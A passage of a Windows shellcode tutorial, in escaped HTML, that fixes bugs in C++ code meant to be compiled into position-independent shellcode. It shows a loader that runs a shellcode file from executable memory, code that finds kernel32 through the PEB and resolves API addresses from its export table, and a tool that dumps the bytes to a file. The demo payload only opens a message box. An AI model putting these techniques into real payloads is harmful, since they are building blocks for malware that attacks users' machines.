functionality:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>#include \u003Cwindows.h>\u003Cbr>size_t GetSize(char * szFilePath)\u003Cbr>{\u003Cbr>\tsize_t size;\u003Cbr>\tFILE* f = fopen(szFilePath, \"rb\");\u003Cbr>\tfseek(f, 0, SEEK_END);\u003Cbr>\tsize = ftell(f);\u003Cbr>\trewind(f);\u003Cbr>\tfclose(f);\u003Cbr>\treturn size;\u003Cbr>}\u003Cbr>unsigned char* ReadBinaryFile(char *szFilePath, size_t *size)\u003Cbr>{\u003Cbr>\tunsigned char *p = NULL;\u003Cbr>\tFILE* f = NULL;\u003Cbr>\tsize_t res = 0;\u003Cbr>\t*size = GetSize(szFilePath);\u003Cbr>\tif (*size == 0) return NULL;\t\t\u003Cbr>\tf = fopen(szFilePath, \"rb\");\u003Cbr>\tif (f == NULL)\u003Cbr>\t{\u003Cbr>\t\tprintf(\"Binary file does not exists!\\n\");\u003Cbr>\t\treturn 0;\u003Cbr>\t}\u003Cbr>\tp = new unsigned char[*size];\u003Cbr>\trewind(f);\u003Cbr>\tres = fread(p, sizeof(unsigned char), *size, f);\u003Cbr>\tfclose(f);\u003Cbr>\tif (res == 0)\u003Cbr>\t{\u003Cbr>\t\tdelete[] p;\u003Cbr>\t\treturn NULL;\u003Cbr>\t}\u003Cbr>\treturn p;\u003Cbr>}\u003Cbr>int main(int argc, char* argv[])\u003Cbr>{\u003Cbr>\tchar *szFilePath=\"c:\\\\test\\\\shellcode.bin\";\u003Cbr>\tunsigned char *BinData = NULL;\u003Cbr>\tsize_t size = 0;\t\u003Cbr>\tBinData = ReadBinaryFile(szFilePath, &amp;size);\u003Cbr>\tvoid *sc = VirtualAlloc(0, size, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);\u003Cbr>\tif (sc == NULL)\t\u003Cbr>\t\treturn 0;\t\u003Cbr>\tmemcpy(sc, BinData, size);\u003Cbr>\t(*(int(*)()) sc)();\t\u003Cbr>\treturn 0;\u003Cbr>}\u003C\u002Fwindows.h>\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003C\u002Fbody>\u003C\u002Fhtml>","text","ltr","\u003Chtml>\u003Chead>\u003C\u002Fhead>\u003Cbody>\u003Ch2>0x00 Preface\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>Previously, in \"Windows Shellcode Study Notes - Generating Shellcode via VisualStudio\", we introduced a method using C++ (without inline assembly) to dynamically obtain API addresses and make calls, disassemble to extract shellcode, and open-sourced the test code.\u003C\u002Fp>\u003Cp>During the subsequent process of extracting shellcode, some bugs were discovered in the previously open-sourced code. Therefore, this article focuses on fixing these bugs in the test code and discusses considerations for developing shellcode using C++.\u003C\u002Fp>\u003Cp>Download link for the test code containing bugs:\u003C\u002Fp>\u003Cp>An open-source project\u003C\u002Fp>\u003Ch2>0x01 Introduction\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>Simple shellcode extraction process:\u003C\u002Fp>\u003Cul>\u003Cli>Develop code using C++\u003C\u002Fli>\u003Cli>Modify VisualStudio compilation configuration\u003C\u002Fli>\u003Cli>Generate exe\u003C\u002Fli>\u003Cli>Open the generated exe in IDA to obtain machine code\u003C\u002Fli>\u003C\u002Ful>\u003Cp>Since API addresses are obtained and called dynamically, to ensure shellcode compatibility, fixed addresses must not appear in the code, and the use of global variables should be minimized. If the code contains sub-functions, depending on the calling method, attention must also be paid to the arrangement order between functions (the entry function should be placed first).\u003C\u002Fp>\u003Ch2>0x02 Bug Fix\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>Configure three compilation options: release, disable optimization, disable \u002FGS\u003C\u002Fp>\u003Cp>Compile the code, then use IDA to extract machine code as shellcode\u003C\u002Fp>\u003Cp>During actual debugging, bugs were found in the code:\u003C\u002Fp>\u003Ch3>1. Global variables should be properly handled in the code\u003C\u002Fh3>\u003Cp>Using global variables in the code\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>FARPROC(WINAPI* GetProcAddressAPI)(HMODULE, LPCSTR);\u003Cbr>HMODULE(WINAPI* LoadLibraryWAPI)(LPCWSTR);\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>After compilation, these become fixed addresses, making the shellcode incompatible across different environments\u003C\u002Fp>\u003Cp>The simplest and most direct approach is to avoid global variables in shellcode whenever possible\u003C\u002Fp>\u003Ch3>2. Function declaration method needs modification\u003C\u002Fh3>\u003Cp>After modifying global variables, the following code needs to be changed:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>MESSAGEBOXA_INITIALIZE MeassageboxA_MyOwn = reinterpret_cast\u003Cmessageboxa_initialize>(GetProcAddressAPI(LoadLibraryWAPI(struser32), MeassageboxA_api));\u003Cbr>MeassageboxA_MyOwn(NULL, NULL, NULL, 0);\u003C\u002Fmessageboxa_initialize>\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Need to completely replace with typedef function declaration style\u003C\u002Fp>\u003Ch3>3. Function call order\u003C\u002Fh3>\u003Cp>If using the following method to load shellcode:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>(*(int(*)()) sc)();\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>The definition of the entry function should be at the very beginning of this shellcode (independent of the order of function declarations)\u003C\u002Fp>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>If the shellcode contains sub-functions, ensure each function is placed in a contiguous address range, with the entry function positioned at the very front. This way, after extracting the machine code, you can directly load the entry function to execute the shellcode.\u003C\u002Fp>\u003Cp>In summary, provide the new complete code:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>#include \u003Cwindows.h>\u003Cbr>#include \u003Cwinternl.h>\u003Cbr>#pragma optimize( \"\", off )\u003Cbr>void shell_code();\u003Cbr>HANDLE GetKernel32Handle();\u003Cbr>BOOL __ISUPPER__(__in CHAR c);\u003Cbr>CHAR __TOLOWER__(__in CHAR c);\u003Cbr>UINT __STRLEN__(__in LPSTR lpStr1);\u003Cbr>UINT __STRLENW__(__in LPWSTR lpStr1);\u003Cbr>LPWSTR __STRSTRIW__(__in LPWSTR lpStr1, __in LPWSTR lpStr2);\u003Cbr>INT __STRCMPI__(__in LPSTR lpStr1, __in LPSTR lpStr2);\u003Cbr>INT __STRNCMPIW__(__in LPWSTR lpStr1, __in LPWSTR lpStr2, __in DWORD dwLen);\u003Cbr>LPVOID __MEMCPY__(__in LPVOID lpDst, __in LPVOID lpSrc, __in DWORD dwCount);\u003Cbr>\u003Cbr>typedef FARPROC(WINAPI* GetProcAddressAPI)(HMODULE, LPCSTR);\u003Cbr>typedef HMODULE(WINAPI* LoadLibraryWAPI)(LPCWSTR);\u003Cbr>typedef ULONG (WINAPI *MESSAGEBOXAPI)(HWND, LPWSTR, LPWSTR, ULONG);\u003Cbr>\u003Cbr>\u003Cbr>void shell_code() {\u003Cbr>\u003Cbr>\tLoadLibraryWAPI\tloadlibrarywapi = 0;\u003Cbr>\tGetProcAddressAPI getprocaddressapi=0;\u003Cbr>\tMESSAGEBOXAPI messageboxapi=0;\u003Cbr>\u003Cbr>\twchar_t struser32[] = { L'u', L's', L'e', L'r', L'3',L'2', L'.', L'd', L'l', L'l', 0 };\u003Cbr>\tchar MeassageboxA_api[] = { 'M', 'e', 's', 's', 'a', 'g', 'e', 'B', 'o', 'x', 'A', 0 };\u003Cbr>\u003Cbr>\tHANDLE hKernel32 = GetKernel32Handle();\u003Cbr>\tif (hKernel32 == INVALID_HANDLE_VALUE) {\u003Cbr>\t\treturn;\u003Cbr>\t}\u003Cbr>\tLPBYTE lpBaseAddr = (LPBYTE)hKernel32;\u003Cbr>\tPIMAGE_DOS_HEADER lpDosHdr = (PIMAGE_DOS_HEADER)lpBaseAddr;\u003Cbr>\tPIMAGE_NT_HEADERS pNtHdrs = (PIMAGE_NT_HEADERS)(lpBaseAddr + lpDosHdr-&gt;e_lfanew);\u003Cbr>\tPIMAGE_EXPORT_DIRECTORY pExportDir = (PIMAGE_EXPORT_DIRECTORY)(lpBaseAddr + pNtHdrs-&gt;OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);\u003Cbr>\u003Cbr>\tLPDWORD pNameArray = (LPDWORD)(lpBaseAddr + pExportDir-&gt;AddressOfNames);\u003Cbr>\tLPDWORD pAddrArray = (LPDWORD)(lpBaseAddr + pExportDir-&gt;AddressOfFunctions);\u003Cbr>\tLPWORD pOrdArray = (LPWORD)(lpBaseAddr + pExportDir-&gt;AddressOfNameOrdinals);\u003Cbr>\tCHAR strLoadLibraryA[] = { 'L', 'o', 'a', 'd', 'L', 'i', 'b', 'r', 'a', 'r', 'y', 'W', 0x0 };\u003Cbr>\tCHAR strGetProcAddress[] = { 'G', 'e', 't', 'P', 'r', 'o', 'c', 'A', 'd', 'd', 'r', 'e', 's', 's', 0x0 };\u003Cbr>\u003Cbr>\tfor (UINT i = 0; i &lt; pExportDir-&gt;NumberOfNames; i++) {\u003Cbr>\t\tLPSTR pFuncName = (LPSTR)(lpBaseAddr + pNameArray[i]);\u003Cbr>\t\tif (!__STRCMPI__(pFuncName, strGetProcAddress)) {\u003Cbr>\t\t\tgetprocaddressapi=(GetProcAddressAPI)(lpBaseAddr + pAddrArray[pOrdArray[i]]);\u003Cbr>\t\t}\u003Cbr>\t\telse if (!__STRCMPI__(pFuncName, strLoadLibraryA)) {\u003Cbr>\t\t\tloadlibrarywapi=(LoadLibraryWAPI) (lpBaseAddr + pAddrArray[pOrdArray[i]]);\u003Cbr>\t\t}\u003Cbr>\t\tif (getprocaddressapi != nullptr &amp;&amp; loadlibrarywapi != nullptr) {\t\t\t\t\u003Cbr>\t\t\tmessageboxapi=(MESSAGEBOXAPI)getprocaddressapi(loadlibrarywapi(struser32), MeassageboxA_api);\u003Cbr>\t\t\tmessageboxapi(NULL, NULL, NULL, 0);\u003Cbr>\t\t\treturn;\u003Cbr>\t\t}\u003Cbr>\t}\u003Cbr>}\u003Cbr>\u003Cbr>inline BOOL __ISUPPER__(__in CHAR c) {\u003Cbr>\treturn ('A' &lt;= c) &amp;&amp; (c &lt;= 'Z');\u003Cbr>};\u003Cbr>inline CHAR __TOLOWER__(__in CHAR c) {\u003Cbr>\treturn __ISUPPER__(c) ? c - 'A' + 'a' : c;\u003Cbr>};\u003Cbr>\u003Cbr>UINT __STRLEN__(__in LPSTR lpStr1)\u003Cbr>{\u003Cbr>\tUINT i = 0;\u003Cbr>\twhile (lpStr1[i] != 0x0)\u003Cbr>\t\ti++;\u003Cbr>\treturn i;\u003Cbr>}\u003Cbr>\u003Cbr>UINT __STRLENW__(__in LPWSTR lpStr1)\u003Cbr>{\u003Cbr>\tUINT i = 0;\u003Cbr>\twhile (lpStr1[i] != L'\\0')\u003Cbr>\t\ti++;\u003Cbr>\treturn i;\u003Cbr>}\u003Cbr>\u003Cbr>LPWSTR __STRSTRIW__(__in LPWSTR lpStr1, __in LPWSTR lpStr2)\u003Cbr>{\u003Cbr>\tCHAR c = __TOLOWER__(((PCHAR)(lpStr2++))[0]);\u003Cbr>\tif (!c)\u003Cbr>\t\treturn lpStr1;\u003Cbr>\tUINT dwLen = __STRLENW__(lpStr2);\u003Cbr>\tdo\u003Cbr>\t{\u003Cbr>\t\tCHAR sc;\u003Cbr>\t\tdo\u003Cbr>\t\t{\u003Cbr>\t\t\tsc = __TOLOWER__(((PCHAR)(lpStr1)++)[0]);\u003Cbr>\t\t\tif (!sc)\u003Cbr>\t\t\t\treturn NULL;\u003Cbr>\t\t} while (sc != c);\u003Cbr>\t} while (__STRNCMPIW__(lpStr1, lpStr2, dwLen) != 0);\u003Cbr>\treturn (lpStr1 - 1); \u002F\u002F FIXME -2 ?\u003Cbr>}\u003Cbr>\u003Cbr>INT __STRCMPI__(\u003Cbr>\t__in LPSTR lpStr1,\u003Cbr>\t__in LPSTR lpStr2)\u003Cbr>{\u003Cbr>\tint  v;\u003Cbr>\tCHAR c1, c2;\u003Cbr>\tdo\u003Cbr>\t{\u003Cbr>\t\tc1 = *lpStr1++;\u003Cbr>\t\tc2 = *lpStr2++;\u003Cbr>\t\t\u002F\u002F The casts are necessary when pStr1 is shorter &amp; char is signed \u003Cbr>\t\tv = (UINT)__TOLOWER__(c1) - (UINT)__TOLOWER__(c2);\u003Cbr>\t} while ((v == 0) &amp;&amp; (c1 != '\\0') &amp;&amp; (c2 != '\\0'));\u003Cbr>\treturn v;\u003Cbr>}\u003Cbr>\u003Cbr>INT __STRNCMPIW__(\u003Cbr>\t__in LPWSTR lpStr1,\u003Cbr>\t__in LPWSTR lpStr2,\u003Cbr>\t__in DWORD dwLen)\u003Cbr>{\u003Cbr>\tint  v;\u003Cbr>\tCHAR c1, c2;\u003Cbr>\tdo {\u003Cbr>\t\tdwLen--;\u003Cbr>\t\tc1 = ((PCHAR)lpStr1++)[0];\u003Cbr>\t\tc2 = ((PCHAR)lpStr2++)[0];\u003Cbr>\t\t\u002F* The casts are necessary when pStr1 is shorter &amp; char is signed *\u002F\u003Cbr>\t\tv = (UINT)__TOLOWER__(c1) - (UINT)__TOLOWER__(c2);\u003Cbr>\t} while ((v == 0) &amp;&amp; (c1 != 0x0) &amp;&amp; (c2 != 0x0) &amp;&amp; dwLen &gt; 0);\u003Cbr>\treturn v;\u003Cbr>}\u003Cbr>\u003Cbr>LPSTR __STRCAT__(\u003Cbr>\t__in LPSTR\tstrDest,\u003Cbr>\t__in LPSTR strSource)\u003Cbr>{\u003Cbr>\tLPSTR d = strDest;\u003Cbr>\tLPSTR s = strSource;\u003Cbr>\twhile (*d) d++;\u003Cbr>\tdo { *d++ = *s++; } while (*s);\u003Cbr>\t*d = 0x0;\u003Cbr>\treturn strDest;\u003Cbr>}\u003Cbr>\u003Cbr>LPVOID __MEMCPY__(\u003Cbr>\t__in LPVOID lpDst,\u003Cbr>\t__in LPVOID lpSrc,\u003Cbr>\t__in DWORD dwCount)\u003Cbr>{\u003Cbr>\tLPBYTE s = (LPBYTE)lpSrc;\u003Cbr>\tLPBYTE d = (LPBYTE)lpDst;\u003Cbr>\twhile (dwCount--)\u003Cbr>\t\t*d++ = *s++;\u003Cbr>\treturn lpDst;\u003Cbr>}\u003Cbr>\u003Cbr>HANDLE GetKernel32Handle() {\u003Cbr>\tHANDLE hKernel32 = INVALID_HANDLE_VALUE;\u003Cbr>#ifdef _WIN64\u003Cbr>\tPPEB lpPeb = (PPEB)__readgsqword(0x60);\u003Cbr>#else\u003Cbr>\tPPEB lpPeb = (PPEB)__readfsdword(0x30);\u003Cbr>#endif\u003Cbr>\tPLIST_ENTRY pListHead = &amp;lpPeb-&gt;Ldr-&gt;InMemoryOrderModuleList;\u003Cbr>\tPLIST_ENTRY pListEntry = pListHead-&gt;Flink;\u003Cbr>\tWCHAR strDllName[MAX_PATH];\u003Cbr>\tWCHAR strKernel32[] = { 'k', 'e', 'r', 'n', 'e', 'l', '3', '2', '.', 'd', 'l', 'l', L'\\0' };\u003Cbr>\u003Cbr>\twhile (pListEntry != pListHead) {\u003Cbr>\t\tPLDR_DATA_TABLE_ENTRY pModEntry = CONTAINING_RECORD(pListEntry, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);\u003Cbr>\t\tif (pModEntry-&gt;FullDllName.Length) {\u003Cbr>\t\t\tDWORD dwLen = pModEntry-&gt;FullDllName.Length;\u003Cbr>\t\t\t__MEMCPY__(strDllName, pModEntry-&gt;FullDllName.Buffer, dwLen);\u003Cbr>\t\t\tstrDllName[dwLen \u002F sizeof(WCHAR)] = L'\\0';\u003Cbr>\t\t\tif (__STRSTRIW__(strDllName, strKernel32)) {\u003Cbr>\t\t\t\thKernel32 = pModEntry-&gt;DllBase;\u003Cbr>\t\t\t\tbreak;\u003Cbr>\t\t\t}\u003Cbr>\t\t}\u003Cbr>\t\tpListEntry = pListEntry-&gt;Flink;\u003Cbr>\t}\u003Cbr>\treturn hKernel32;\u003Cbr>}\u003Cbr>\u003Cbr>int main()\u003Cbr>{\u003Cbr>\tprintf(\"1\");\u003Cbr>\tshell_code();\u003Cbr>\tprintf(\"2\");\u003Cbr>\treturn 0;\u003Cbr>}\u003C\u002Fwinternl.h>\u003C\u002Fwindows.h>\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Ch2>0x03 Shellcode Extraction\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>After compiling the above code into an exe and opening it with IDA, check the Function Window to find the starting addresses of each subfunction\u003C\u002Fp>\u003Cp>As shown in the figure\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fapi\u002Fmedia\u002Ffile\u002Fdocx_image_1770019787448_0_01c738ab80-1.png\">\u003C\u002Fp>\u003Cp>It can be seen that each function is stored in a continuous address range, and the shellcode starting function is located at the very beginning\u003C\u002Fp>\u003Cp>Double-click the first function shell_code(void) to enter the IDA text view, where you can see that the specific location of the shell_code(void) function in the exe file is 00000400\u003C\u002Fp>\u003Cp>As shown in the figure\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fapi\u002Fmedia\u002Ffile\u002Fdocx_image_1770019798237_1_e348e7ebd1-1.jpeg\">\u003C\u002Fp>\u003Cp>Check the location of the main function in the exe file, which is 00000A00\u003C\u002Fp>\u003Cp>As shown in the figure\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fapi\u002Fmedia\u002Ffile\u002Fdocx_image_1770019811381_2_81870fc5bc-1.jpeg\">\u003C\u002Fp>\u003Cp>Based on the structure of the C code, it can be inferred that the offset range 00000400-00000A00 in the exe file is the machine code we need\u003C\u002Fp>\u003Cp>Use a hex editor to extract the machine code and save it to a file; the content in the file is the shellcode we need.\u003C\u002Fp>\u003Cp>Of course, the function of manually extracting machine code and saving it to a file can be automated by a program. The complete code is as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>#include \u003Cstdafx.h>\u003Cbr>#include \u003Cwindows.h>\u003Cbr>#include \u003Cwinternl.h>\u003Cbr>#pragma optimize( \"\", off )\u003Cbr>void shell_code();\u003Cbr>HANDLE GetKernel32Handle();\u003Cbr>BOOL __ISUPPER__(__in CHAR c);\u003Cbr>CHAR __TOLOWER__(__in CHAR c);\u003Cbr>UINT __STRLEN__(__in LPSTR lpStr1);\u003Cbr>UINT __STRLENW__(__in LPWSTR lpStr1);\u003Cbr>LPWSTR __STRSTRIW__(__in LPWSTR lpStr1, __in LPWSTR lpStr2);\u003Cbr>INT __STRCMPI__(__in LPSTR lpStr1, __in LPSTR lpStr2);\u003Cbr>INT __STRNCMPIW__(__in LPWSTR lpStr1, __in LPWSTR lpStr2, __in DWORD dwLen);\u003Cbr>LPVOID __MEMCPY__(__in LPVOID lpDst, __in LPVOID lpSrc, __in DWORD dwCount);\u003Cbr>\u003Cbr>typedef FARPROC(WINAPI* GetProcAddressAPI)(HMODULE, LPCSTR);\u003Cbr>typedef HMODULE(WINAPI* LoadLibraryWAPI)(LPCWSTR);\u003Cbr>typedef ULONG (WINAPI *MESSAGEBOXAPI)(HWND, LPWSTR, LPWSTR, ULONG);\u003Cbr>\u003Cbr>\u003Cbr>void shell_code() {\u003Cbr>\u003Cbr>\tLoadLibraryWAPI\tloadlibrarywapi = 0;\u003Cbr>\tGetProcAddressAPI getprocaddressapi=0;\u003Cbr>\tMESSAGEBOXAPI messageboxapi=0;\u003Cbr>\u003Cbr>\twchar_t struser32[] = { L'u', L's', L'e', L'r', L'3',L'2', L'.', L'd', L'l', L'l', 0 };\u003Cbr>\tchar MeassageboxA_api[] = { 'M', 'e', 's', 's', 'a', 'g', 'e', 'B', 'o', 'x', 'A', 0 };\u003Cbr>\u003Cbr>\tHANDLE hKernel32 = GetKernel32Handle();\u003Cbr>\tif (hKernel32 == INVALID_HANDLE_VALUE) {\u003Cbr>\t\treturn;\u003Cbr>\t}\u003Cbr>\tLPBYTE lpBaseAddr = (LPBYTE)hKernel32;\u003Cbr>\tPIMAGE_DOS_HEADER lpDosHdr = (PIMAGE_DOS_HEADER)lpBaseAddr;\u003Cbr>\tPIMAGE_NT_HEADERS pNtHdrs = (PIMAGE_NT_HEADERS)(lpBaseAddr + lpDosHdr-&gt;e_lfanew);\u003Cbr>\tPIMAGE_EXPORT_DIRECTORY pExportDir = (PIMAGE_EXPORT_DIRECTORY)(lpBaseAddr + pNtHdrs-&gt;OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);\u003Cbr>\u003Cbr>\tLPDWORD pNameArray = (LPDWORD)(lpBaseAddr + pExportDir-&gt;AddressOfNames);\u003Cbr>\tLPDWORD pAddrArray = (LPDWORD)(lpBaseAddr + pExportDir-&gt;AddressOfFunctions);\u003Cbr>\tLPWORD pOrdArray = (LPWORD)(lpBaseAddr + pExportDir-&gt;AddressOfNameOrdinals);\u003Cbr>\tCHAR strLoadLibraryA[] = { 'L', 'o', 'a', 'd', 'L', 'i', 'b', 'r', 'a', 'r', 'y', 'W', 0x0 };\u003Cbr>\tCHAR strGetProcAddress[] = { 'G', 'e', 't', 'P', 'r', 'o', 'c', 'A', 'd', 'd', 'r', 'e', 's', 's', 0x0 };\u003Cbr>\u003Cbr>\tfor (UINT i = 0; i &lt; pExportDir-&gt;NumberOfNames; i++) {\u003Cbr>\t\tLPSTR pFuncName = (LPSTR)(lpBaseAddr + pNameArray[i]);\u003Cbr>\t\tif (!__STRCMPI__(pFuncName, strGetProcAddress)) {\u003Cbr>\t\t\tgetprocaddressapi=(GetProcAddressAPI)(lpBaseAddr + pAddrArray[pOrdArray[i]]);\u003Cbr>\t\t}\u003Cbr>\t\telse if (!__STRCMPI__(pFuncName, strLoadLibraryA)) {\u003Cbr>\t\t\tloadlibrarywapi=(LoadLibraryWAPI) (lpBaseAddr + pAddrArray[pOrdArray[i]]);\u003Cbr>\t\t}\u003Cbr>\t\tif (getprocaddressapi != nullptr &amp;&amp; loadlibrarywapi != nullptr) {\t\t\t\t\u003Cbr>\t\t\tmessageboxapi=(MESSAGEBOXAPI)getprocaddressapi(loadlibrarywapi(struser32), MeassageboxA_api);\u003Cbr>\t\t\tmessageboxapi(NULL, NULL, NULL, 0);\u003Cbr>\t\t\treturn;\u003Cbr>\t\t}\u003Cbr>\t}\u003Cbr>}\u003Cbr>\u003Cbr>inline BOOL __ISUPPER__(__in CHAR c) {\u003Cbr>\treturn ('A' &lt;= c) &amp;&amp; (c &lt;= 'Z');\u003Cbr>};\u003Cbr>inline CHAR __TOLOWER__(__in CHAR c) {\u003Cbr>\treturn __ISUPPER__(c) ? c - 'A' + 'a' : c;\u003Cbr>};\u003Cbr>\u003Cbr>UINT __STRLEN__(__in LPSTR lpStr1)\u003Cbr>{\u003Cbr>\tUINT i = 0;\u003Cbr>\twhile (lpStr1[i] != 0x0)\u003Cbr>\t\ti++;\u003Cbr>\treturn i;\u003Cbr>}\u003Cbr>\u003Cbr>UINT __STRLENW__(__in LPWSTR lpStr1)\u003Cbr>{\u003Cbr>\tUINT i = 0;\u003Cbr>\twhile (lpStr1[i] != L'\\0')\u003Cbr>\t\ti++;\u003Cbr>\treturn i;\u003Cbr>}\u003Cbr>\u003Cbr>LPWSTR __STRSTRIW__(__in LPWSTR lpStr1, __in LPWSTR lpStr2)\u003Cbr>{\u003Cbr>\tCHAR c = __TOLOWER__(((PCHAR)(lpStr2++))[0]);\u003Cbr>\tif (!c)\u003Cbr>\t\treturn lpStr1;\u003Cbr>\tUINT dwLen = __STRLENW__(lpStr2);\u003Cbr>\tdo\u003Cbr>\t{\u003Cbr>\t\tCHAR sc;\u003Cbr>\t\tdo\u003Cbr>\t\t{\u003Cbr>\t\t\tsc = __TOLOWER__(((PCHAR)(lpStr1)++)[0]);\u003Cbr>\t\t\tif (!sc)\u003Cbr>\t\t\t\treturn NULL;\u003Cbr>\t\t} while (sc != c);\u003Cbr>\t} while (__STRNCMPIW__(lpStr1, lpStr2, dwLen) != 0);\u003Cbr>\treturn (lpStr1 - 1); \u002F\u002F FIXME -2 ?\u003Cbr>}\u003Cbr>\u003Cbr>INT __STRCMPI__(\u003Cbr>\t__in LPSTR lpStr1,\u003Cbr>\t__in LPSTR lpStr2)\u003Cbr>{\u003Cbr>\tint  v;\u003Cbr>\tCHAR c1, c2;\u003Cbr>\tdo\u003Cbr>\t{\u003Cbr>\t\tc1 = *lpStr1++;\u003Cbr>\t\tc2 = *lpStr2++;\u003Cbr>\t\t\u002F\u002F The casts are necessary when pStr1 is shorter &amp; char is signed \u003Cbr>\t\tv = (UINT)__TOLOWER__(c1) - (UINT)__TOLOWER__(c2);\u003Cbr>\t} while ((v == 0) &amp;&amp; (c1 != '\\0') &amp;&amp; (c2 != '\\0'));\u003Cbr>\treturn v;\u003Cbr>}\u003Cbr>\u003Cbr>INT __STRNCMPIW__(\u003Cbr>\t__in LPWSTR lpStr1,\u003Cbr>\t__in LPWSTR lpStr2,\u003Cbr>\t__in DWORD dwLen)\u003Cbr>{\u003Cbr>\tint  v;\u003Cbr>\tCHAR c1, c2;\u003Cbr>\tdo {\u003Cbr>\t\tdwLen--;\u003Cbr>\t\tc1 = ((PCHAR)lpStr1++)[0];\u003Cbr>\t\tc2 = ((PCHAR)lpStr2++)[0];\u003Cbr>\t\t\u002F* The casts are necessary when pStr1 is shorter &amp; char is signed *\u002F\u003Cbr>\t\tv = (UINT)__TOLOWER__(c1) - (UINT)__TOLOWER__(c2);\u003Cbr>\t} while ((v == 0) &amp;&amp; (c1 != 0x0) &amp;&amp; (c2 != 0x0) &amp;&amp; dwLen &gt; 0);\u003Cbr>\treturn v;\u003Cbr>}\u003Cbr>\u003Cbr>LPSTR __STRCAT__(\u003Cbr>\t__in LPSTR\tstrDest,\u003Cbr>\t__in LPSTR strSource)\u003Cbr>{\u003Cbr>\tLPSTR d = strDest;\u003Cbr>\tLPSTR s = strSource;\u003Cbr>\twhile (*d) d++;\u003Cbr>\tdo { *d++ = *s++; } while (*s);\u003Cbr>\t*d = 0x0;\u003Cbr>\treturn strDest;\u003Cbr>}\u003Cbr>\u003Cbr>LPVOID __MEMCPY__(\u003Cbr>\t__in LPVOID lpDst,\u003Cbr>\t__in LPVOID lpSrc,\u003Cbr>\t__in DWORD dwCount)\u003Cbr>{\u003Cbr>\tLPBYTE s = (LPBYTE)lpSrc;\u003Cbr>\tLPBYTE d = (LPBYTE)lpDst;\u003Cbr>\twhile (dwCount--)\u003Cbr>\t\t*d++ = *s++;\u003Cbr>\treturn lpDst;\u003Cbr>}\u003Cbr>\u003Cbr>HANDLE GetKernel32Handle() {\u003Cbr>\tHANDLE hKernel32 = INVALID_HANDLE_VALUE;\u003Cbr>#ifdef _WIN64\u003Cbr>\tPPEB lpPeb = (PPEB)__readgsqword(0x60);\u003Cbr>#else\u003Cbr>\tPPEB lpPeb = (PPEB)__readfsdword(0x30);\u003Cbr>#endif\u003Cbr>\tPLIST_ENTRY pListHead = &amp;lpPeb-&gt;Ldr-&gt;InMemoryOrderModuleList;\u003Cbr>\tPLIST_ENTRY pListEntry = pListHead-&gt;Flink;\u003Cbr>\tWCHAR strDllName[MAX_PATH];\u003Cbr>\tWCHAR strKernel32[] = { 'k', 'e', 'r', 'n', 'e', 'l', '3', '2', '.', 'd', 'l', 'l', L'\\0' };\u003Cbr>\u003Cbr>\twhile (pListEntry != pListHead) {\u003Cbr>\t\tPLDR_DATA_TABLE_ENTRY pModEntry = CONTAINING_RECORD(pListEntry, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);\u003Cbr>\t\tif (pModEntry-&gt;FullDllName.Length) {\u003Cbr>\t\t\tDWORD dwLen = pModEntry-&gt;FullDllName.Length;\u003Cbr>\t\t\t__MEMCPY__(strDllName, pModEntry-&gt;FullDllName.Buffer, dwLen);\u003Cbr>\t\t\tstrDllName[dwLen \u002F sizeof(WCHAR)] = L'\\0';\u003Cbr>\t\t\tif (__STRSTRIW__(strDllName, strKernel32)) {\u003Cbr>\t\t\t\thKernel32 = pModEntry-&gt;DllBase;\u003Cbr>\t\t\t\tbreak;\u003Cbr>\t\t\t}\u003Cbr>\t\t}\u003Cbr>\t\tpListEntry = pListEntry-&gt;Flink;\u003Cbr>\t}\u003Cbr>\treturn hKernel32;\u003Cbr>}\u003Cbr>void __declspec(naked) END_SHELLCODE(void) {}\u003Cbr>int main()\u003Cbr>{\u003Cbr>\tshell_code();\u003Cbr>\u003Cbr>\tFILE *output_file;\u003Cbr>\tfopen_s(&amp;output_file,\"shellcode.bin\", \"wb\");\u003Cbr>\tfwrite(shell_code, (int)END_SHELLCODE - (int)shell_code, 1, output_file);\u003Cbr>\tfclose(output_file);\u003Cbr>\treturn 0;\u003Cbr>}\u003C\u002Fwinternl.h>\u003C\u002Fwindows.h>\u003C\u002Fstdafx.h>\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>Open the file in \"wb\" mode to write binary data\u003C\u002Fp>\u003Cp>If using \"w\" mode, the 